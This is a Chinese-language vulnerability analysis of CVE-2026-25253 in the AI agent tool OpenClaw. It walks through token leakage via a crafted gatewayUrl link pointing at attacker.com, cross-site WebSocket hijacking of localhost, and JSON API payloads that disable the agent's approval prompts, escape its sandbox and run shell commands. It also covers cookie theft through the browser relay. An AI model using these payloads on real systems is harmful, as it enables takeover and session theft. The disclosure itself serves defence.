OpenClaw 1-Click RCE 漏洞(CVE-2026-25253) 深度分析：一次点击链接即可夺取 root 权限

最近，在 AI 智能体工具 **OpenClaw（原 Clawdbot/Moltbot）**中发现了一个严重的安全漏洞。这个被命名为 CVE-2026-25253 的漏洞使得攻击者仅凭受害者点击一个恶意链接（1-Click），就能够远程夺取系统的控制权。

本文将基于 DepthFirst 和 ZeroPath 团队公开的分析内容，详细剖析该漏洞是如何从认证令牌泄露一步步发展到远程代码执行(RCE) 的技术原理。

1. 漏洞概述

CVE-ID: CVE-2026-25253
受影响版本: v2026.1.24-1 及以下
严重程度: Critical (预计 CVSS 8.8 ~ 9.8)
攻击向量: 访问恶意网站或点击链接

这次攻击并非单一的 bug，而是由多个逻辑缺陷串联而成的 漏洞利用链(Exploit Chain)。

2. 漏洞利用链分析

攻击过程大致分为 3 个阶段：令牌泄露 → WebSocket 劫持 → 瓦解沙箱并实现 RCE。

阶段 1：认证令牌泄露 (Auth Token Leak)

OpenClaw 曾具有一项功能：可以通过 URL 查询参数来更改 Gateway 连接设置。

更改设置：app-settings.ts 不加验证地接受 gatewayUrl 参数，并将其保存到本地设置中。
自动连接：一旦设置被更改，app-lifecycle.ts 就会立即尝试连接到新的 Gateway。
发送令牌：连接时，会在握手过程中自动发送敏感的 authToken。

攻击者利用这一点，将受害者诱导至如下 URL：

http://victim-openclaw-dashboard.com?gatewayUrl=ws://attacker.com:8080

当受害者点击这个链接时，OpenClaw 仪表盘就会尝试连接到攻击者的服务器(attacker.com)，并将认证令牌拱手送给攻击者。

阶段 2：绕过本地主机 (CSWSH)

大多数 OpenClaw 用户都在本地(localhost) 环境中运行智能体。即使攻击者获得了令牌，也无法从外部互联网直接访问受害者的 localhost。

但此时第二个漏洞登场了：缺少 WebSocket Origin 验证。

OpenClaw 的 WebSocket 服务器不会验证请求的 Origin 头。这就使得 CSWSH (Cross-Site WebSocket Hijacking) 攻击成为可能。

在受害者停留在攻击者的网站(attacker.com) 期间，
攻击者的 javascript 代码会通过受害者的浏览器，尝试向 ws://localhost:18789 发起 WebSocket 连接。
使用先前窃取的 authToken 通过认证。

与 HTTP 请求不同，浏览器对 WebSocket 连接并不严格适用 SOP(Same Origin Policy)，再加上服务器端缺少验证，连接便得以建立。

阶段 3：瓦解沙箱并实现 RCE

连接成功的攻击者现在获得了调用 OpenClaw API 的权限。但是 OpenClaw 设有保护机制：在执行危险命令时要求用户批准，或在容器沙箱内执行。

然而，由于攻击者持有管理员权限令牌，所以可以通过 API 把这些保护机制也一并关闭。

禁用用户批准：

{
  "method": "exec.approvals.set",
  "params": { "defaults": { "ask": "off" } }
}

容器逃逸：将执行主机更改为 gateway（宿主机）。

最后，在所有限制都已消失的状态下执行任意命令。

{
  "method": "node.invoke",
  "params": {
    "command": "system.run",
    "params": { "cmd": "bash -c 'echo hacked > /tmp/hacked'" }
  }
}

3. 另一个威胁：滥用浏览器中继

ZeroPath 团队发现了另一个攻击向量。OpenClaw 用于控制浏览器的中继服务器(/cdp 端点) 同样没有 Origin 验证，因此恶意网站可以连接到本地 WebSocket(ws://127.0.0.1:18792/cdp)，进而控制 Chrome DevTools Protocol。

通过这一点，攻击者可以窃取受害者浏览器中已打开的其他标签页（Gmail、内网等）的 cookie 或会话。

4. 应对与教训

OpenClaw 团队在收到该漏洞报告后立即发布了补丁。

补丁内容: 在更改 Gateway URL 时增加用户确认流程、强化 WebSocket Origin 验证、限制对沙箱设置 API 的访问等。
用户措施: 立即更新到最新版本；如果此前一直在使用旧版本，则应重新签发认证令牌。

这个案例给我们的教训是："为了便利而设计的功能（通过 URL 更改设置）可能会成为安全上最大的漏洞"。它还再次提醒我们：即使是运行在本地主机上的服务，为了防范 CSWSH 攻击，验证 Origin 头也是必不可少的。

参考资料: